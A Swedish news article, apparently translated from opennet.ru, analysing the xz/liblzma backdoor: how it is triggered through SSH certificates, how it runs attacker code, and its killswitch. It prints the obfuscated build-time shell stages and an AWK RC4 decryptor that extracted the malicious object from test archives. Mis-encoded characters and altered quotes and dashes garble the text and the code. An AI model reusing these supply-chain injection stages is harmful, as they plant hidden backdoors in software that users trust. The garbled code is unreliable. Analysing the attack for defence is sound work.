Analys av logiken bakom aktivering och drift av bakdörren i paketet xz.

PreliminÀra resultat av omvÀnd ingenjörskonst av den skadliga objektfilen, inbÀddad i liblzma till följd av en kampanj för att frÀmja en bakdörr i xz-paketet, Àr tillgÀngliga. Bakdörren pÄverkar endast x86_64-system baserade pÄ Linux-kÀrnan och C-biblioteket Glibc, dÀr en extra patch till sshd har applicerats, vilket möjliggör lÀnkning till libsystemd-biblioteket för att stödja sd_notify-mekanismen. Det antogs ursprungligen att bakdörren möjliggjorde att kringgÄ autentisering i sshd och fÄ Ätkomst till systemet via SSH. En mer detaljerad analys visade att sÄ inte var fallet, och bakdörren ger möjlighet att köra godtycklig kod i systemet utan att lÀmna spÄr i sshd-loggarna.

Specifikt verifierar den bakdörrsfunktionen RSA_public_decrypt signaturen av vÀrden genom att anvÀnda en fast Ed448-nyckel, och vid en lyckad verifiering körs koden som skickats av en extern vÀrd med hjÀlp av system()-funktionen innan sshd-processens privilegier ÄterstÀlls. Data som innehÄller koden för utförande extraheras frÄn parametern 'N', som skickades till RSA_public_decrypt-funktionen (fÀltet 'n' i rsa_st-strukturen som innehÄller den öppna nyckeln frÄn den externa vÀrden), kontrolleras med en checksumma och avkodas med en fördefinierad ChaCha20-nyckel innan verifieringen av den digitala signaturen Ed448.

Som en indikator för att aktivera bakdörren i sshd anvÀnds den vanliga mekanismen för utbyte av vÀrdnycklar. Bakdörren utnyttjar att OpenSSH-certifikat innehÄller den offentliga nyckeln frÄn den som signerat, och reagerar endast pÄ nyckeln som förberetts av angriparen och som motsvarar den fördefinierade fasta Ed448-nyckeln. Om verifieringen av signaturen med den offentliga nyckeln misslyckas eller om dataintegriteten för utförande inte bekrÀftas, ÄtergÄr bakdörren kontrollen till de vanliga SSH-funktionerna.

Eftersom angriparens privata nyckel Àr okÀnd, Àr det omöjligt att implementera en verifieringskod som skulle möjliggöra för utomstÄende att aktivera bakdörren och genomföra en skanner för komprometterade vÀrdar i nÀtverket. Forskare har förberett ett skript som demonstrerar tekniken att ersÀtta den offentliga nyckeln med godtyckligt innehÄll i det OpenSSH-certifikat som skickas av SSH-klienten, vilket kommer att behandlas i den bakdörrsfunktion som fÄngar RSA_public_decrypt.

Forskare har ocksÄ noterat förekomsten av en konstruktion som neutraliserar en bakdörr (killswitch) pÄ det lokala systemet nÀr miljövariabeln «yolAbejyiejuvnup=Evjtgvsh5okmkAvj» har stÀllts in innan sshd startas.

Dessutom kan en detaljerad analys av de shell-konstruktioner som anvĂ€nds för att komplicera processen för att extrahera objektfilen med bakdörren och ersĂ€tta den i biblioteket liblzma noteras. Under paketbygget av xz frĂ„n skriptet build-to-host.m4 kördes en kod som letade bland testfilerna i arkivet bad-3-corrupt_lzma2.xz, ersatte vissa tecken i det, omvandlade det till ett oskadat arkiv och extraherade ett shell-skript. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` 
 gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’ gl_path_map=’tr «\t \-_» » \t_\-‘

Det resulterande shell-skriptet extraherade bit för bit ett annat shell-skript frĂ„n innehĂ„llet i arkivet good-large_compressed.lzma, genom att hoppa över specifika sekvenser med kommandona head och tail, och ersĂ€tta tecken med kommandot tr. ####Hello#### # nĂ„gra binĂ€ra byte hĂ€r, men eftersom det Ă€r en kommentar sĂ„ ignoreras de [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..//..//config.status;then eval `grep ^srcdir= ..//..//config.status` srcdir=»..//..//$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Som resultat bildades ett ganska komplext och omfattande shell-script som hĂ€mtade filen med bakdörren direkt frĂ„n arkivet good-large_compressed.lzma, avkrypterade den och integrerade den i liblzma. Bland annat innehöll skriptet en implementering av plugin-mekanismen som senare möjliggjorde leverans av ytterligare exekverbara komponenter genom att placera nya testarkiv, utan att Ă€ndra good-large_compressed.lzma och bad-3-corrupt_lzma2.xz, utan istĂ€llet anvĂ€nda signatursökning. Koden anvĂ€nde ocksĂ„ en dekrypterare baserad pĂ„ RC4-algoritmen, implementerad i AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk ‘BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i<m;i++){t[sprintf(«x%c»,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[«x» (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf «%c»,(v+k)%m}’ | xz -dc —single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster